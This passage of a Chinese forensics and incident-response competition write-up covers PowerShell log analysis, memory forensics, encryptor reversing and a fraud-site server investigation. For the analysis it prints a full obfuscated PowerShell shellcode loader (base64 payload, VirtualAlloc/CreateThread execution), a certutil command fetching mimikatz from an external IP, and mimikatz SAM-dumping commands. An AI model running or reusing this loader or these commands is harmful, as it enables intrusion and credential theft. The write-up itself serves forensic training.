    if os.path.isdir(folder):
        remove_last_extension(folder)
    else:
        print("无效的文件夹路径!")

这里使用数据库修复工具D-Recovery SQL Server对数据库进行修复(以下为官方WP):

img

选择被加密的数据库文件,在”选择参照mdf文件“中选择”【非题目】题mssql-备份数据库(可能会用到)“中的纯表结构文件

img

img

(DIDCTF貌似缺少【非题目】题mssql-备份数据库(可能会用到),因此做不出来)

另一个思路(原文地址:解答思路 | 2024第一届Solar杯应急响应挑战赛-CSDN博客)直接搜索关键词:

在tempdb_mssql_3.ndf.X3rmENR07发现flag。

img

搜索关键字:66 00 6C 00

2.5数据库

请提交powershell命令中恶意文件的MD5 flag格式 如 flag{xxxxx}

打开事件查看器,分析powershell日志,发现可疑执行日志:

image-20250325114935552

事件ID 400:PowerShell 运行空间(Runspace)已启动并初始化。

事件ID 600:PowerShell 运行空间(Runspace)已关闭或终止。

powershell.exe -nop -w hidden -c &([scriptblock]::create((New-Object System.IO.StreamReader(New-Object System.IO.Compression.GzipStream((New-Object System.IO.MemoryStream(,[System.Convert]::FromBase64String((('H4sICBPmW2cAA3Rlc3QudHh0ALVXbXOiSBD+7q+gtqwSKkYwcXNuqrbqQFExkpWgGHWtKwIDzDKAC0OU7O1/vx58SVJJdvfuaucLzkx3T8/TT3ePXh47FCcxR2ch963C7cfYTu2I46uhpNe5anG3Fo5bVe9sw33k+KW8XneTyMbx6vKyk6cpiulu3ugjKmcZiu4IRhkvcH9zswCl6PTT3RfkUO4bV/2r0SfJnU32YkXHdgLEncqxy/ZGiWMzpxrmmmDK1z5/rgnL0+aqoX7NbZLxNbPIKIoaLiE1gfsusAMnxRrxNR07aZIlHm3McHx+1pjGme2ha7B2j3REg8TNakLleJcU0TyNyysxGzsJvgY/x2niyK6boiyr1bkls75crf7kl/ujb/KY4gg1tJiiNFmbKL3HDsoaAzt2CbpB3gq0TJri2F8JAojdJyHiq3FOSJ37N2b4a7Q5APerSvxTJZAa01SoQzRfXlNP3JygnWLtFT8ZAQQYexIIle+VinegDLEC7f1L0hznh7EsNxA4y4+TDJe6Hzmpzulwrk2TtIBpdZLmSFgdoeaq9+2rdv0XjTUPmqAXL2Y6LC2tBLuro/6TqFfXbZcwibcZ3EUejlG3iO0IOweS8q/FAnkElXA0DmLX4B5f228gt4sI8m3K4GWUeKGmRpgedZUcExelsgPxzMArCLXw3JldxPiaFusoAuh2c+Bo1YPUQAfpfToUh9PZHIRqHWJnWZ0b55CbTp0zkU2QW+fkOMP7LTmnSfmz9uiunhOKHTujB3Mr4Tma+1M7SZzRNHcgpoDAxFwjB9uEAVLnBthFSmFi/3B67VU4OjYhkDRg6R7CASsMBpMypqTgaMkKoWEiqkVrgiKQKUtFj9g+FIZ9apTUsn3k1l7385ABO7ozXA6APPESgm2ShNY5C6cU6g7DmHHrvzjxouKUznRStA8NX2bWUiko436VThdRydA9PiUaKQUkemkSKXaGLlq74sK/E1XcfT/uJg8yDLV3Y1iKOZ36W4ksiKlRc67i0TQINNzU/MlkMIS1Yqr6Yyqtr8zuQE6728CTtUxTB0phNBXZGeA/rKEynYIe7oyML1tNdpXIv/XnnY02Dm41OKgz8jUfvooWOIq0kHxF0qjWV82R0VGGIG+0mgtNbJNr3SEKfjA1Ux7M2HmGMxh27S2co7Zag9vtRL7Wh3LQ++T2mme9QMWSHJrGwFiE/VFXLecOmxvzTMVqb25YAQJbxsxaKzO1tzCsteafbHzDGomtXqDAuoa3o7Upwmg2h/ex+6CT9oMO7hrWYojRQvNR4cuGLJvzmJh3m44s9z9srnB+rvamsBZOtHhr3K11t5gPxA+WjtE6kQ1VlnsEMjSS7U1XbM6SK8N6b0xVaVtMpe1G/SJuVDzchPvvtH9x4YteayxaphYP7EABf4thK8TDE9iLbEuae6LF8OuEsfgQ35KLoV5iCvcxQAezeNn+DejtdGQaa7eiaPmiL3vE0vy24d8m8Zkdgu2ZL4OHcEeItTfUGO45weH05FZsTsEfKRpuJeZrNGyDvbPwFZtmAPi6C1tWmB/KrJ/Is7B/0SnaYx3uYTXBZmzlk9kAbILPedhmMEM8umYn7pva7Zl7d6OIJ+7c9pWF6Xid9miGrXvReidUllMc0/OzVTW/Sh9YC6hUU/MJzd9qbLqdZoFNgP7Qsg4lqJekvX0nGieYafA8e8SEKI0Rgd4Pr4ND6sqEJA5rgbuWBf131xVZk55qpU+v/RK4o6Dw2BwPS5eXC/ASqkGZrY0Rin0a1KXtuSRBb5O2Ugvy/tev1knWBb+zVWfNEaA52ialbaGCPY7/6dvhf6MFbx8K1fgHeL0FHZwdQvmEcr4ragxAJUnIU/jKex2Z8Aw7AK0JN1+yd0/JETBwir4CCuxt8OSlUS286EL7rczZ1+YAPu5PmfO49oPdX2KTVGf4vFh8vvDY1H7f/Wc2piBoQo8haPfmeQOGfa48iXAZHcgEbz/YP4BPOT29hlcl9Ll/ADmiosV0DAA{0}')-f'A','f','M')))),[System.IO.Compression.CompressionMode]::Decompress))).ReadToEnd()))

  • New-Object System.IO.MemoryStream:用于 Base64 编码的字符串创建内存流。

  • System.IO.Compression.GzipStream:解压缩 Gzip 编码的数据流。

  • ReadToEnd():读取并执行解压后的数据内容。

解码发现内容是Gzip编码的数据流

image-20250325115200253

进行解码:

image-20250325115245320

function tWk {
    Param ($k0M, $ybp)
    # 获取 System.dll(用于访问 Win32 API)
    $f2w = ([AppDomain]::CurrentDomain.GetAssemblies() | 
        Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).
        GetType('Microsoft.Win32.UnsafeNativeMethods')

    # 获取 GetProcAddress API 的方法句柄(用于获取函数地址)
    return $f2w.GetMethod('GetProcAddress', [Type[]]@([System.Runtime.InteropServices.HandleRef], [String])).
        Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef(
            (New-Object IntPtr), 
            ($f2w.GetMethod('GetModuleHandle')).Invoke($null, @($k0M))
        ))), $ybp))
}

function lVhI5 {
    Param (
        [Parameter(Position = 0, Mandatory = $True)] [Type[]] $v8K8,  # 参数类型数组
        [Parameter(Position = 1)] [Type] $nZWM = [Void]               # 返回值类型,默认为 Void
    )

    # 创建动态程序集、模块和类(用于创建委托类型)
    $p8dl = [AppDomain]::CurrentDomain.DefineDynamicAssembly(
        (New-Object System.Reflection.AssemblyName('ReflectedDelegate')),
        [System.Reflection.Emit.AssemblyBuilderAccess]::Run).
        DefineDynamicModule('InMemoryModule', $false).
        DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])

    # 定义构造函数
    $p8dl.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $v8K8).
        SetImplementationFlags('Runtime, Managed')

    # 定义方法
    $p8dl.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $nZWM, $v8K8).
        SetImplementationFlags('Runtime, Managed')

    return $p8dl.CreateType()
}

# 解码 Base64 编码的 shellcode
[Byte[]]$tUZml = [System.Convert]::FromBase64String("/EiD5PDozAAAAEFRQVBSUUgx0lZlSItSYEiLUhhIi1IgTTHJSItyUEgPt0pKSDHArDxhfAIsIEHByQ1BAcHi7VJBUUiLUiCLQjxIAdBmgXgYCwIPhXIAAACLgIgAAABIhcB0Z0gB0ItIGESLQCBJAdBQ41ZI/8lNMclBizSISAHWSDHAQcHJDaxBAcE44HXxTANMJAhFOdF12FhEi0AkSQHQZkGLDEhEi0AcSQHQQYsEiEFYQVheSAHQWVpBWEFZQVpIg+wgQVL/4FhBWVpIixLpS////11JvndzMl8zMgAAQVZJieZIgeygAQAASYnlSbwCAAG9wKiu3EFUSYnkTInxQbpMdyYH/9VMiepoAQEAAFlBuimAawD/1WoKQV5QUE0xyU0xwEj/wEiJwkj/wEiJwUG66g/f4P/VSInHahBBWEyJ4kiJ+UG6maV0Yf/VhcB0Ckn/znXl6JMAAABIg+wQSIniTTHJagRBWEiJ+UG6AtnIX//Vg/gAflVIg8QgXon2akBBWWgAEAAAQVhIifJIMclBulikU+X/1UiJw0mJx00xyUmJ8EiJ2kiJ+UG6AtnIX//Vg/gAfShYQVdZaABAAABBWGoAWkG6Cy8PMP/VV1lBunVuTWH/1Un/zuk8////SAHDSCnGSIX2dbRB/+dYagBZScfC8LWiVv/V")

[Uint32]$uKrz = 0

# 申请内存(VirtualAlloc),用于存放 shellcode
$rS = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer(
    (tWk kernel32.dll VirtualAlloc), 
    (lVhI5 @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]))).
    Invoke([IntPtr]::Zero, $tUZml.Length, 0x3000, 0x04)

# 复制 shellcode 到分配的内存
[System.Runtime.InteropServices.Marshal]::Copy($tUZml, 0, $rS, $tUZml.length)

# 修改内存权限(VirtualProtect),使 shellcode 可执行
if (([System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer(
        (tWk kernel32.dll VirtualProtect), 
        (lVhI5 @([IntPtr], [UIntPtr], [UInt32], [UInt32].MakeByRefType()) ([Bool]))).
        Invoke($rS, [Uint32]$tUZml.Length, 0x10, [Ref]$uKrz)) -eq $true) {

    # 创建新线程(CreateThread),执行 shellcode
    $yfm6I = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer(
        (tWk kernel32.dll CreateThread), 
        (lVhI5 @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]))).
        Invoke([IntPtr]::Zero, 0, $rS, [IntPtr]::Zero, 0, [IntPtr]::Zero)

    # 等待线程执行完成(WaitForSingleObject)
    [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer(
        (tWk kernel32.dll WaitForSingleObject), 
        (lVhI5 @([IntPtr], [Int32]))).
        Invoke($yfm6I, 0xffffffff) | Out-Null
}

恶意文件即为shellcode解码后的内容,我们解码后计算MD5即可:

image-20250325120123046

3.1内存取证

题目文件:SERVER-2008-20241220-162057 请找到rdp连接的跳板地址 flag格式 flag{1.1.1.1}

使用volatility加载内存镜像,分析其网络连接状况:

volatility.exe -f SERVER-2008-20241220-162057.raw windows.netscan

image-20250325124030004

可以发现192.168.60.150的3389端口(远程桌面)连接到了192.168.60.220:34121svchost.exe 是 Windows 系统服务的宿主进程,可能与远程桌面服务相关。)

3.2内存取证

攻击者下载黑客工具的IP地址 flag格式 flag{1.1.1.1}

查看历史命令是否存在:

volatility.exe -f SERVER-2008-20241220-162057.raw windows.consoles
如果没有consoles插件就使用volatility2中的cmdscan

image-20250325125200128

可以发现执行过命令:

certutil -urlcache -split -f http://155.94.204.67:85/mimikatz.exe C:\Windows\Temp\mi.exe
参数 作用
certutil Windows 证书管理工具,常被滥用于文件下载
-urlcache 访问远程 URL 并缓存文件
-split 处理大文件时分块下载
-f 强制下载文件(即使已有缓存)
http://155.94.204.67:85/mimikatz.exe 目标 URL,提供 mimikatz.exe
C:\Windows\Temp\mi.exe 本地保存路径

3.3内存取证

黑客获取的“FusionManager节点操作系统帐户(业务帐户)”的密码是什么 flag格式 flag{xxxx}

根据上一题的命令分析可以发现存在pass.txt文件,我们进行文件分析:

volatility.exe -f SERVER-2008-20241220-162057.raw windows.filescan

image-20250325130016748

将其dump导出:

volatility.exe -f SERVER-2008-20241220-162057.raw -o output windows.dumpfile --physaddr 0x7e4cedd0

image-20250325130227518

3.4内存取证

攻击者创建的用户 flag格式 flag{xxxx}

搜索并导出Security.evtx安全日志文件进行分析(搜索创建用户事件ID4720):

image-20250325130834057

3.5内存取证

攻击者利用跳板rdp登录的时间 flag格式 flag{2024/01/01 00:00:00}

继续在安全日志中分析该用户登录成功事件(ID4624):

image-20250325131225904

3.6内存取证

攻击者创建用户的密码哈希值 flag格式 flag{XXXX}

分析密码哈希转储:

volatility.exe -f SERVER-2008-20241220-162057.raw windows.hashdump

image-20250325131443532

4.1逆向破解

题目文件:【题目】加密器逆向请逆向该加密器,解密机密文件flag格式 flag{XXXX}

莫得文件就先跳过了。

官方WP():

在createfileW处下断点,

img

断住之后发现输入的参数为一个文件路径

跟踪发现这里使用随机数生成了六位密钥

img

将生成的密钥%10,即生成0-9的密钥

img

明显的rc4特征,rc4密钥初始化

img

交换数组位置,这里就是利用key生成s盒,相当于

for i in 0..256 {
    j = (j + s[i]  + key[i % key.len()] ) % 256;
    s.swap(i, j);
}

img

使用刚刚读取到的内容(v5),利用PRGA生成秘钥流并与密文字节异或,完成rc4加密

img

生成字符串

img

如下

img

再次生成字符串

img

如下

img

将加密后的字符串和自解密生成的字符串拼接,其中自解密生成的字符串无实际用途,每次生成的都一样,仅为加密特征。

img

img

创建文件

img

img

写入文件

img

由于密钥是随机生成的,但是因为密钥只有6位而且取值为0-10,因此可以直接爆破出结果

import itertools
import os
from concurrent.futures.thread import ThreadPoolExecutor


def rc4(key, data):
    key_length = len(key)
    S = list(range(256))
    j = 0

    for i in range(256):
        j = (j + S[i] + key[i % key_length]) % 256
        S[i], S[j] = S[j], S[i]

    i = 0
    j = 0
    result = []
    for byte in data:
        i = (i + 1) % 256
        j = (j + S[i]) % 256
        S[i], S[j] = S[j], S[i]
        K = S[(S[i] + S[j]) % 256]
        result.append(byte ^ K)

    return result

def is_printable(data):
    try:
        return all(32 <= byte <= 126 for byte in data)
    except TypeError:
        return False

ciphertext = []#加密后的数据




def run(key_tuple ):
    key = list(key_tuple)
    decrypted_data = rc4(key, ciphertext)
    # 判断是否解密后的数据是可打印的
    if is_printable(decrypted_data):
        decrypted_string = ''.join(chr(byte) for byte in decrypted_data)
        if 'flag' in decrypted_string:
            print(f"找到有效密钥: {key} -> 解密结果: {decrypted_string}")
max_threads = os.cpu_count()*2
print(max_threads)
with ThreadPoolExecutor(max_workers=max_threads) as executor:
    executor.map(run, itertools.product(range(0, 10), repeat=6))

img

其中加密后缀为一个假的flag,但是可以解出结果

img

2022第四届长安杯(尝试X-Ways Forensics)

某地警方接到受害人报案称其在某虚拟币交易网站遭遇诈骗,该网站号称使用”USTD币“购买所谓的"HT币”,受害人充值后不但“HT币”无法提现、交易,而且手机还被恶意软件锁定勒索。警方根据受害人提供的虚拟币交易网站调取了对应的服务器镜像并对案件展开侦查。 QQ20221029194800.png

参考文章:第四届长安杯电子取证大赛个人总结_2022长安杯电子数据取证竞赛-CSDN博客、《数字取证实验》

WinHex 的主要功能:

  • 磁盘克隆、数据镜像
  • RAM 内存编辑:对内存信息直接编辑,如调试内存、编译程序等
  • 文件分析:分析文件格式、判断文件类型和数据格式
  • 擦除数据:可对磁盘填充 0 或随机数,是保证数据安全的最佳方式

X-Ways Forensics 与 WinHex 是包含关系。

X-Ways Forensics常规配置如下:

image-20250331142437149

查看其容器:

image-20250331142735940

image-20250331143016393

检材1

检材1:根据报案人提供的网站域名和IP,警方调取了对应的服务器镜像“检材1”,分析掌握的检材回答下列问题

MjMzMg.Zhplu1Em6nv-BtSgO72J053ZZ5c

1.检材1的SHA256值为

image-20250331144710727

2.分析检材1,搭建该服务器的技术员IP地址是多少?用该地址解压检材2

查看用户登录登出信息的源文件地址:

/var/log/wtmp

image-20250331150131584

将其提取出来

who 命令可以直接读取 wtmp 文件并展示其中用户登录历史:

who wtmp

image-20250331150052214

3.检材1中,操作系统发行版本号为

操作系统发行版本号源文件地址:

/etc/*-release

在案件根目录下X-Ways文件名过滤*-release:

image-20250331153637462

4.检材1系统中,网卡绑定的静态IP地址为

网卡配置文件路径:

/etc/sysconfig/network-scripts/ifcfg-ens

image-20250331154034796

或者在案件根目录搜索fcfgifcfg中的i可能会被截断)

image-20250331154251545

5.检材1中,网站jar包所存放的目录是(答案为绝对路径,如“/home/honglian/”)

常见网站路径:

/var/www/html
/web/app

image-20250331160026030

image-20250331160058231

过滤文件名称:*.jar

image-20250331160133489

jar包都在/web/app/路径中

6.检1中,监听7000端口的进程对应文件名为

原文:2022长安杯 - XDforensics-Wiki

思路一:

将jar包全部导出后, 使用Java Decompiler查看application.properties文件逐个分析, 查看是哪个jar包使用了7000端口, 在cloud.jar中发现使用7000端口。

配置文件路径为 BOOT-INF\classes\application.properties

(Spring Boot 启动时,会自动读取 application.properties

image-20250331203905207

思路二:直接启动网站, 查看占用端口情况, 但是较难, 因为嫌疑人删除了启动脚本, 在做检材2时, D盘中会有该网站的启动脚本, 将检材2中的脚本复制到检材1中, 启动网站即可。

image-20250331231508305

启动脚本start_web.sh内容:

sleep 20s
echo "Starting App:admin" 
nohup  java -jar /web/app/admin-api.jar &
sleep 20s
echo "Starting App:ucenter" 
nohup  java -jar /web/app/ucenter-api.jar &
sleep 20s
echo "Starting WEB:WEB" 
cd /web/app/web/
nohup npm run dev  &
cd /web/app
echo "Starting WEB:admin" 
cd /web/app/admin/
nohup npm run dev  &
cd /web/app
echo "Finish" kill

启动脚本start.sh内容:

sleep 2s
echo "Starting Zookeeper"
nohup /data/install/apache/zookeeper-3.4.10/bin/zkServer.sh start & 
sleep 2s
echo "Starting Kafka"
nohup /data/install/apache/kafka_2.12-1.0.1/bin/zookeeper-server-start.sh /data/install/apache/kafka_2.12-1.0.1/config/zookeeper.properties &
sleep 5s
nohup /data/install/apache/kafka_2.12-1.0.1/bin/kafka-server-start.sh /data/install/apache/kafka_2.12-1.0.1/config/server.properties &
echo "Finish" kill

通过看历史命令, 可以看到有很多关于 vue 文件的操作, find 命令搜一下 vue 文件, 可以看到都在 /web/app 这个目录下, 由此可以初步断定该网站使用了 vue 框架, 而简单搜索一下历史命令中的另一条 npm run dev 命令, 就能知道它是用来启动 vue 项目的, 同样我们可以得知 npm run 命令实际上是用来执行配置在 package.json 文件中的脚本的, 在历史命令的 50 条左右, 可以看到有对 web.tar 包的操作, 在解压 tar 包后就在该目录下执行了 npm installnpm run dev 命令

image-20250331234144330

在那就解压web.tar再在其目录下再执行:npm installnpm run dev可以成功构造网页

  • npm:Node Package Manager(Node.js 的包管理工具)
  • run:执行 package.json 文件中 scripts 部分定义的命令
  • dev:用户自定义的脚本名称,通常用于开发环境

即,npm run dev 实际上是 执行 package.json 中定义的 dev 命令

.vue 文件是 Vue.js 框架中的单文件组件(Single-File Component,SFC),用于构建 Vue 应用的 UI 组件。它通常包含 HTML、CSS 和 JavaScript,用于封装 Vue 组件的结构、样式和逻辑。)

再查看端口情况:

image-20250331232651471

你会发现还是没有7000出现,因此将所有jar包运行并查看端口情况:

nohup  java -jar /web/app/cloud.jar

发现此时7000端口开启

7.检材1中,网站管理后台页面对应的网络端口为(答案填写阿拉伯数字,如“100”)

方法1: 与检材2进行联合分析, 在检材2的 Google Chrome 历史记录中:

Users/XXX/AppData/Local/Google/Chrome/User Data/Default/History

可以看到后台管理对应 9090 端口, 且访问地址对应检材1的静态 IP

image-20250331233221577

方法2: 在日志.bash_history里可以看到, 嫌疑人在/web/app/admin/文件里执行了npm run dev

image-20250331204516453

  • npm:Node Package Manager(Node.js 的包管理工具)
  • run:执行 package.json 文件中 scripts 部分定义的命令
  • dev:用户自定义的脚本名称,通常用于开发环境

即,npm run dev 实际上是 执行 package.json 中定义的 dev 命令

检查package.json

{
    "name": "ztuo_admins",
    "version": "1.2.3",
    "description": "a management bases on iview",
    "main": "main.js",
    
    
    
    "scripts": {
        "init": "webpack --progress --config build/webpack.dev.config.js",
        "dev": "webpack-dev-server --content-base ./ --open --inline --hot --compress --config build/webpack.dev.config.js",
        "build": "webpack --progress --hide-modules --config build/webpack.prod.config.js"
    },
    
    
    
    
    "repository": {
        "type": "git",
        "url": "https://github.com/iview/iview-admin.git"
    },
    "author": "Lison<zhigang.li@tendcloud.com>",
    "license": "MIT",
    "dependencies": {
        "@antv/data-set": "^0.8.7",
        "ajv": "^5.0.0",
        "area-data": "^1.0.0",
        "axios": "^0.17.1",
        "clipboard": "^1.7.1",
        "countup": "^1.8.2",
        "cropperjs": "^1.1.3",
        "echarts": "^3.8.5",
        "html2canvas": "^0.5.0-beta4",
        "ip": "^1.1.5",
        "iview": "^2.13.1",
        "iview-area": "^1.5.12",
        "jquery": "^2.2.3",
        "js-cookie": "^2.2.0",
        "js-file-download": "^0.4.1",
        "node-pre-gyp": "^0.15.0",
        "pnpm": "^5.4.11",
        "rasterizehtml": "^1.2.4",
        "simplemde": "^1.11.2",
        "smeditor": "^0.1.19",
        "sortablejs": "^1.7.0",
        "time-formater": "^1.0.1",
        "tinymce": "^4.7.3",
        "viser-vue": "^2.2.3",
        "vue": "^2.5.9",
        "vue-resource": "^1.3.5",
        "vue-router": "^3.0.1",
        "vuex": "^3.0.1"
    },
    "devDependencies": {
        "autoprefixer-loader": "^3.2.0",
        "babel": "^6.23.0",
        "babel-core": "^6.23.1",
        "babel-eslint": "^8.0.3",
        "babel-loader": "^7.1.2",
        "babel-plugin-transform-runtime": "^6.12.0",
        "babel-preset-env": "^1.6.1",
        "babel-preset-es2015": "^6.24.1",
        "babel-preset-stage-3": "^6.24.1",
        "babel-runtime": "^6.11.6",
        "clean-webpack-plugin": "^0.1.17",
        "copy-webpack-plugin": "^4.2.3",
        "css-hot-loader": "^1.3.4",
        "css-loader": "^0.28.7",
        "eslint": "^4.12.1",
        "eslint-config-google": "^0.9.1",
        "eslint-config-standard": "^10.2.1",
        "eslint-plugin-html": "^4.0.1",
        "eslint-plugin-import": "^2.8.0",
        "eslint-plugin-node": "^5.2.1",
        "eslint-plugin-promise": "^3.6.0",
        "eslint-plugin-standard": "^3.0.1",
        "extract-text-webpack-plugin": "^3.0.2",
        "file-loader": "^1.1.5",
        "happypack": "^4.0.0",
        "html-loader": "^0.5.1",
        "html-webpack-plugin": "^2.28.0",
        "less": "^2.7.3",
        "less-loader": "^4.1.0",
        "semver": "^5.4.1",
        "style-loader": "^0.19.0",
        "uglifyjs-webpack-plugin": "^1.0.0-rc.0",
        "unsupported": "^1.1.0",
        "url-loader": "^0.6.2",
        "vue-hot-reload-api": "^2.2.4",
        "vue-html-loader": "^1.2.3",
        "vue-i18n": "^5.0.3",
        "vue-loader": "^13.5.0",
        "vue-style-loader": "^3.0.3",
        "vue-template-compiler": "^2.5.9",
        "webpack": "^3.10.0",
        "webpack-dev-server": "^2.9.5",
        "webpack-merge": "^4.1.1",
        "webpack-parallel-uglify-plugin": "^1.1.0",
        "webpack-uglify-parallel": "^0.1.4"
    }
}

这里使用build/webpack.dev.config.js作为配置文件, 再看看这个文件可找到监听端口为9090:

const webpack = require('webpack');
const HtmlWebpackPlugin = require('html-webpack-plugin');
const ExtractTextPlugin = require('extract-text-webpack-plugin');
const CopyWebpackPlugin = require('copy-webpack-plugin');
const merge = require('webpack-merge');
const webpackBaseConfig = require('./webpack.base.config.js');
const fs = require('fs');
const package = require('../package.json');
const ip = require('ip').address()

// fs.open('./build/env.js', 'w', function(err, fd) {
//     const buf = 'export default "development";';
//     fs.write(fd, buf, 0, buf.length, 0, function(err, written, buffer) {});
// });

module.exports = merge(webpackBaseConfig, {
    devtool: '#source-map',
    devServer: {
        port: 9090,
        host: "0.0.0.0"
    },
    output: {
        publicPath: '/dist/',
        filename: '[name].js',
        chunkFilename: '[name].chunk.js'
    },
    plugins: [
        new ExtractTextPlugin({
            filename: '[name].css',
            allChunks: true
        }),
        new webpack.optimize.CommonsChunkPlugin({
            name: ['vender-exten', 'vender-base'],
            minChunks: Infinity
        }),
        new HtmlWebpackPlugin({
            title: '后台管理',
            filename: '../index.html',
            template: './src/template/index.ejs',
            favicon: './favicon.ico',
            inject: false
        }),
        new CopyWebpackPlugin([{
            from: 'src/views/main-components/theme-switch/theme'
        }, ], {
            ignore: [
                //'text-editor.vue'
            ]
        })
    ]
});

8.检材1中,网站前台页面里给出的APK的下载地址是(答案格式如下:“https://www.forensix.cn/abc/def”)

思路一:由题6可构造出网页:发现apk下载地址,扫描二维码即可

image-20250402130159600

思路二:查看源码, 判定网站前端使用vue搭建, 在/web/app/web/src/app.vue中可以搜索关键词app二维码也可以找到:

image-20250331234708228

9.检材1中,网站管理后台页面调用的用户表(admin)里的密码字段加密方式为?

参考文章:第四届长安杯电子取证大赛个人总结_2022长安杯电子数据取证竞赛-CSDN博客

重构网站对此题帮助不大,优先选择查看jar包是否包含所需内容,由于题目中已给出用户表表名为admin,可以选择优先查看admin-api.jar。使用jd-gui查看admin-api.jar

image-20250331235543509

10.分析检材1,网站管理后台登录密码加密算法中所使用的盐值是

由上题分析可知

11.检材2中,windows账户Web King的登录密码是

找到对应的SAM文件及SYSTEM文件后(Windows\System32\config\SAMWindows\System32\config\SYSTEM)复制到我们物理机桌面,之后使用mimikatz提取密码,如下所示

privilege::debug
lsadump::sam /sam:SAM /system:SYSTEM

image-20250401101917173

image-20250401101852485

12.检材2中,除检材1以外,还远程连接过哪个IP地址?并用该地址解压检材3

电脑中装了Xshell,对其记录进行分析即可:、

/Users/Web King/Documents/NetSarang Computer/7/Xshell/Sessions

image-20250401102603906

13.检材2中,powershell中输入的最后一条命令是

由于power shell有类似CentOS终端记忆历史命令的功能,仿真检材2打开power shell按 ↑ 即可。

power shell历史命令文件名为ConsoleHost_history.txt。X-Ways文件名过滤:

image-20250401103319686

14.检材2中,下载的涉案网站源代码文件名为

查看下载记录:

Users/Web King/AppData/Local/Google/Chrome/User Data/Default/History

image-20250401103629730

可以发现下载了goDCEZTuo,二者本质上都是 数字资产交易所(CEX)后端框架,它们的功能类似,主要用于 中心化交易所(CEX)的后端开发goDCE开发语言是GO,ZTuo开发语言是JAVA

由前面题目所分析,货币交易网站是以JAVA语言开发的,并且使用了Spring Boot,与ZTuo项目后端技术吻合:

image-20250401104512541

另一思路:检材一中/web/app/admin/web/app/web下分别有一个README.md文件,里面对应着github项目下的README.md

另另一思路:结合浏览器访问记录里的网站名称判断:

image-20250401104751398

15.检材2中,网站管理后台root账号的密码为

仿真查看:

image-20250401111152321

不知道为什么没有,网上火眼取证的WP都直接出来了……

img

16.检材2中,技术员使用的WSL子系统发行版本是(答案格式如下:windows 10.1)

image-20250401113559174

(按照格式来的话答案为Ubuntu 20.04

17.检材2中,运行的数据库服务版本号是(答案格式如下:10.1)

进入wsl,mysql --version查看版本:

image-20250401114248759

或者分析Ubuntu/Debian 系统的核心数据库文件,其记录所有已安装软件包的元数据和状态信息。:

C:\Users\Web King\AppData\Local\Packages\CanonicalGroupLimited.Ubuntu20.04LTS_79rhkp1fndgsc\LocalState\rootfs\var\lib\dpkg\status

image-20250401114418304

18.上述数据库debian-sys-maint用户的初始密码是

debian-sys-maint用户的初始密码位于/etc/mysql/debian.cnf中,查看该文件:

image-20250401124645868

19.检材3服务器root账号的密码是

检材2中wsl的history中有ssh连接检材3的记录:

image-20250401142426104

20.检材3中,监听33050端口的程序名(program name)为

在历史命令中发现嫌疑人进入了/data/mysql之后使用了docker-compose up

image-20250401161407419

进入目录/data/mysql后,查看docker-compose.yml配置文件,发现使用了端口33050:

image-20250401161512348

首先netstat -anptu命令查看当前运行的所有连接中的socket,并没有发现33050端口的线索

-a: 显示所有连线中的Socket;
-p: 显示正在使用Socket的程序识别码和程序名称;
-n: 直接使用ip地址,而不通过域名服务器解析;
-t: 显示TCP传输协议的连线状况;
-u: 显示UDP传输协议的连线状况;

image-20250401164615799

根据历史记录可以猜测出33050是docker容器对外映射的一个端口。docker开启docker服务,查看容器:

systemctl start docker.service
docker ps

发现8e开头的这个容器做了端口映射3306<--->33050,将MySQL的端口暴露到外面。

image-20250401164452526

但题目问的是监听33050端口的程序,我们再次运行netstat -anpt命令查看socket情况

image-20250401164821972

可以看到进程是docker-proxy

21.[多选题] 除MySQL外,该网站还依赖以下哪种数据库

A. Postgresql
B. Redis
C. Oracle
D. MongoDB

由上题分析历史命令可以发现:

image-20250401165225897

image-20250401165309429
另一思路:

第9-10题对jar包的逆向分析中,我们从spring框架web应用程序的配置文件——application.properties文件中可以看到网站数据库依赖

image-20221122204715935

image-20221122204724502

同时还发现了172.16.80.128:33050的jdbc配置信息,也就是它docker中MySQL的登录配置信息。

image-20221122204747629

22.检材3中,MySQL数据库root账号的密码是

docker-compose.yml配置文件中能找到MYSQL配置数据:

/data/mysql/docker-compose.yml

image-20250401165638363

23.检材3中,MySQL数据库在容器内部的数据目录为

通过对docker-compose.yml的分析,可以看到它是将/data/mysql/db目录,挂载到了容器的/var/lib/mysql中,所以/var/lib/mysql就是他的数据目录

另一思路:进docker mysql内部 查看一下配置文件

docker exec -it 8e /bin/bash
whereis mysql
/etc/mysql/mysql.conf.d/mysqld.cnf

image-20250401173000119

注意配置文件中的datadir

另另一思路:进入docker容器内部,搜索一下常见mysql的证据文件

docker exec -it 8e /bin/bash
find / -name *.frm

image-20250401173329879

24.涉案网站调用的MySQL数据库名为

可以在命令历史记录中发现数据库服务器被删库过:

image-20250401174129060

底下找到了删库的命令:

image-20250401174206116

另一思路:

在对jar包的逆向中,只找到了cn.ztuo.bitrade.service.AdminService下的sql查询是admin表,并不知道它所属的数据库。

好在22题中,对jar包分析中找到了数据库进行jdbc连接时用的URL,其格式为子协议://服务器名或IP地址:端口号/数据库名?参数=参数值。由此知道该jdbc连接的是172.16.80.128:33050的b1数据库。

image-20221123084423251

25.勒索者在数据库中修改了多少个用户的手机号?(答案填写阿拉伯数字,如“15”)

提到数据库用户操作,那自然是找MySQL日志,首先用show variables where Variable_name='general_log_file';命令找到MySQL日志路径

mysql -u root -p
shhl7001

image-20250401174858586

当然这是docker容器中的路径,我们可以去它的外部映射路径/data/mysql/db里找该日志文件,搜索关键词update即可,其中只有三条是修改用户手机号:

image-20250401175140636

26.勒索者在数据库中删除的用户数量为(答案填写阿拉伯数字,如“15”)

同理,搜索delete关键词:

image-20250401180428442

27.还原被破坏的数据库,分析除技术员以外,还有哪个IP地址登录过管理后台网站?用该地址解压检材4

过滤文件夹名b1,在检材2中发现两个相同大小的文件夹:

image-20250401183939523

b1导入检材3/data/mysql/db

